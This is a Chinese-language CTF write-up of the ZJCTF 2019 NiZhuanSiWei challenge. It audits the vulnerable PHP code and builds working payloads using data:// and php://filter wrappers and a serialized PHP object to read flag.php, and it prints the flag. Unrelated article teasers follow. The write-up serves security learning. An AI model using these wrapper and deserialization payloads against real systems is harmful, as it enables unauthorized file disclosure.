详解[ZJCTF 2019]NiZhuanSiWei 1(PHP两种伪协议、PHP反序列化漏洞、PHP强比较)还有那道题有这么经典?

题目环境:
image.png

<?php  
  $text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
  echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
  if(preg_match("/flag/",$file)){
    echo "Not now!";
    exit(); 
  }else{
    include($file);  //useless.php
    $password = unserialize($password);
    echo $password;
  }
}
else{
  highlight_file(__FILE__);
}
?>

PHP代码审计

三个通过GET方式传参的参数text、file、password
file_get_contents() 函数把整个文件读入一个字符串中。
'r’代表读取内容
&&左右两边条件都要满足,===PHP强比较,类型和值都要相等
满足第一个参数就会输出这段字符串
从这里可以看出,需要用到PHP伪协议中的data协议
第二个参数file就是遇到的就是**正则匹配,**flag关键字被过滤了
当出现flag关键字时,程序就会自动退出,不再进行
反之,如果绕过正则的话,就包含咱们传给file参数的文件
可以看出作者注释里面给的有一个文件,useless.php
下面是对password参数进行反序列化
从这里可以猜出,useless.php文件可能包含的是反序列化内容
然后file参数和password参数联系起来就一目了然了(这里正则并没有用可以直接绕过)
猜测啊,file=useless.php,才能进入password参数那部分(后面可以给大家测试看看)

作者很贴心,打开题目给的有题目源码
image.png
image.png
当然咱们还可以通过data伪协议和php://filter伪协议去查看useless.php的源码

php://filter伪协议详解文末会给链接
base64编解码文末也会给链接

data协议规则:
data://text/plain;编码格式,读取内容
(注意一个是分号;命令拼接,和一个逗号,用来读取文本内容)

如果要读取后边的文件内容,字符串也要进行相应的编码
这里猜测useless.php文件是base64编码格式
所以使用base64编码格式

image.png
构造payload:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
image.png
送去base64解码
image.png
useless.php源代码

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?> 

较为简单的序列化,直接给参数file赋值flag.php即可

进行序列化

<?php  

class Flag{  //flag.php  
    public $file='flag.php';  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
} 
$flag=new Flag();
echo serialize($flag);
?> 

image.png
构造最终payload:
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
上传payload:
image.png

这里表明三个参数都已符合了条件

F12查看源码:
image.png
得到flag:
flag{8fa13eb3-db41-4230-be27-634236f2fe1b}

这里再说明以下,为什么给file参数赋值useless.php,因为你进入了useless.php才能进入password参数那一步!
同时也绕过了正则

我们可以测试一下给file参数传inde.php文件会怎样
payload:
?text=data://text/plain,welcome to the zjctf&file=index.php
image.png
?text=data://text/plain,welcome to the zjctf&file=index.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
image.png

可以看出,当参数file赋值为index.php文件的时候,一直执行的是index代码内容
那么当参数file赋值为useless.php文件的时候,才会去执行参数password的内容

php://filter伪协议可参考:https://blog.csdn.net/m0_73734159/article/details/130383801?spm=1001.2014.3001.5501
PHP序列化魔法函数可参考:https://blog.csdn.net/m0_73734159/article/details/133854073?spm=1001.2014.3001.5502
PHP强比较可参考:https://blog.csdn.net/m0_73734159/article/details/134349129?spm=1001.2014.3001.5501
base64编码解码网站:https://c.runoob.com/front-end/693/
【Kali终端也可通过命令进行base64解码】(echo “bae64编码内容” | base64 -d)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/147075.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

WebStorm配置less编译wxss或css

文章目录 前言先下载安装less程序&#xff1a;实参&#xff1a;要刷新的输出路径成功 前言 使用WebStorm写微信小程序&#xff0c;wxss写着很麻烦&#xff0c;就想着用less&#xff0c;接下来是配置less编译 先下载安装less npm install -g lessless会安装在你当前目录下(以D…

虹科示波器 | 汽车免拆检修 | 2014款保时捷卡宴车行驶中发动机偶尔自动熄火

一、故障现象 一辆2014款保时捷卡宴车&#xff0c;搭载4.8L自然吸气发动机&#xff0c;累计行驶里程约为10.3万km。车主反映&#xff0c;行驶中发动机偶尔自动熄火&#xff0c;尤其在减速至停车的过程中故障容易出现。 二、故障诊断 接车后路试&#xff0c;确认故障现象与车主所…

caspp attacker lab

attacker lab phase2 advice phase 1 ctarget 会先调用test , test调用getbuf, getbuf调用Get。 任务目的是通过缓冲区注入攻击&#xff0c;将函数getbuf返回直接重定向到函数touch1。 0x28 是 40 比特&#xff0c; gdb ./ctarget getbuf 下一次执行的指令是401976, rsp对…

Vue快速入门

目录 一、概述 环境准备 前置知识 JavaScript-导入导出 默认导入导出 二、局部使用Vue 1、使用步骤 准备工作 构建用户界面 2、常用指令 v-for v-bind v-if & v-show v-on v-model 3、生命周期 三、Axios 使用案例1 测试 使用案例2 测试 请求方式别名…

ARMday06(总线、串口、RCC章节分析)

总线 总线是完成各个部件之间传输的一种媒介 串行/并行总线 串行总线&#xff0c; 在同一时刻&#xff0c;根据时钟线的变化&#xff0c;只可以收发一位数据 优点&#xff1a;占用引脚资源少 缺点&#xff1a;传输速度比较慢 并行总线&#xff0c; 在同一时刻&#xff…

vscode设置vue3代码格式化

vscode设置vue3代码格式化 vscode设置vue3代码格式化 下载插件设置格式化时选用的插件实际使用 使用Prettier默认配置使用Prettier添加自定义配置使用Volar 完整配置文件参考链接 下载插件 可以使用Volar或Prettier 设置格式化时选用的插件 mac&#xff1a;【shift】【op…

基于单片机微波炉加热箱系统设计

**单片机设计介绍&#xff0c; 基于单片机微波炉加热箱系统设计 文章目录 一 概要二、功能设计设计思路 三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于单片机的微波炉加热箱系统是一种智能化的厨房电器设备&#xff0c;利用单片机控制技术实现自动加热和定时等功能…

医疗行业创新:低代码工具推动业务自动化和智能化

随着科技的不断发展&#xff0c;数字化已经成为各个领域的必然趋势。同样&#xff0c;在医疗领域&#xff0c;数字化转型也已经成为必要性。 早在新冠疫情之前很多国家和地区就已经开始尝试医疗数字化的转型。有很多人认为&#xff0c;医疗数字化在未来不是锦上添花&#xff0…

【开源】基于JAVA的电子元器件管理系统

目录 一、摘要1.1 项目简介1.2 项目详细录屏 二、研究内容三、界面展示3.1 登录&注册&主页3.2 元器件单位模块3.3 元器件仓库模块3.4 元器件供应商模块3.5 元器件品类模块3.6 元器件明细模块3.7 元器件类型模块3.8 元器件采购模块3.9 元器件领用模块3.10 系统基础模块 …

C语言精选练习题:(9)找出盗窃者

每日一言 世界灿烂盛大&#xff0c;欢迎回家。 题目 某地发生了一件盗窃案&#xff0c;警察通过排查确定盗窃者必为4个嫌疑人的一个 以下为4个嫌疑人的供词&#xff1a; a说&#xff1a;不是我 b说&#xff1a;是c c说&#xff1a;是d d说&#xff1a;c在胡说 已知3个人说了真…

安装virt-manger虚拟机管理器

环境&#xff1a; redhat7:192.168.1.130 安装步骤&#xff1a; 安装qemu-kvm yum install -y qemu-kvm安装libvirt yum install -y libvirt重启libvirt systemctl restart libvirtd查看libvirt的版本信息 virsh version安装virt-manager yum install -y virt-manager检验…

Vue3 Computed属性

一、引入computed import { computed } from vue; 二、计算属性的使用 &#xff08;一&#xff09;计算属性简写形式 计算属性 computed( ()> { return 计算属性值 }) setup() {let nums reactive({ten: 0, // 十位unit: 0, // 个位});nums.sum computed(() > {re…

基础课1——智能客服的定义

1.介绍 智能客服是一种采用人工智能技术的客户服务方式&#xff0c;它通过语音识别、自然语言处理、语义理解等技术&#xff0c;实现了与客户的自动交互。智能客服可以提供客户24小时不间断的服务&#xff0c;帮助客户快速解决问题&#xff0c;提高客户满意度。智能客服的应用…

No208.精选前端面试题,享受每天的挑战和学习

🤍 前端开发工程师(主业)、技术博主(副业)、已过CET6 🍨 阿珊和她的猫_CSDN个人主页 🕠 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 🍚 蓝桥云课签约作者、已在蓝桥云课上架的前后端实战课程《Vue.js 和 Egg.js 开发企业级健康管理项目》、《带你从入…

安全好用性价比高的远程协同运维软件有吗?

据悉不少IT专业人员认为&#xff0c;远程运维风险性更高&#xff0c;更容易给企业带来更大的风险。所以不少运维人员都在求一款安全好用性价比高的远程协同运维软件&#xff0c;因为下班需要&#xff0c;因为碰到IT难题时候需要&#xff0c;因为驻场需要。那你知道市面上安全好…

spring cloud之服务熔断

四、Hystrix组件(*) - 官网&#xff1a;https://github.com/Netflix/Hystrix - 在分布式环境中&#xff0c;许多服务依赖项不可避免的会失败。Hystrix是一个库&#xff0c;它通过添加延迟容忍和容错逻辑来帮助您控制这些分布式服务之间的交互。Hystrix通过隔离服务之间的访问点…

【计算思维】少儿编程蓝桥杯青少组计算思维题考试真题及解析C

【科技素养】少儿编程蓝桥杯青少组计算思维题考试真题及解析 1.天平的左右两端分别放有一些砝码&#xff0c;如下图所示&#xff0c;右边的砝码不变&#xff0c;从左边最多拿走几个砝码&#xff0c;可以使天平左右两边平衡&#xff1a; A、1 B、2 C、3 D、4 2.把下面的图形…

(一)什么是Vite——vite介绍与使用

什么是Vite Vite&#xff08;法语意为 "快速的"&#xff0c;发音 /vit/&#xff0c;发音同 "veet"&#xff09;是一种新型前端构建工具&#xff0c;能够显著提升前端开发体验。 它主要由两部分组成&#xff1a; 一个开发服务器&#xff0c;它基于 原生 …

Javaweb之javascript事件案例的详细解析

1.6.4 案例 1.6.4.1 需求说明 接下来我们通过案例来加强所学js知识点的掌握。 需求如下3个&#xff1a; 点击 “点亮”按钮 点亮灯泡&#xff0c;点击“熄灭”按钮 熄灭灯泡 输入框鼠标聚焦后&#xff0c;展示小写&#xff1b;鼠标离焦后&#xff0c;展示大写。 点击 “全…

RK3588平台开发系列讲解(项目篇)实时显示摄像头

文章目录 一、测试代码二、代码解析2.1、OpenCV头文件2.2、类与函数的访问方式2.3、捕获摄像头图像2.4、定义图像变量2.5、显示图像沉淀、分享、成长,让自己和他人都能有所收获!😄 📢 本篇将给大家介绍,如何基于USB摄像头进行实时显示。 一、测试代码 #include "o…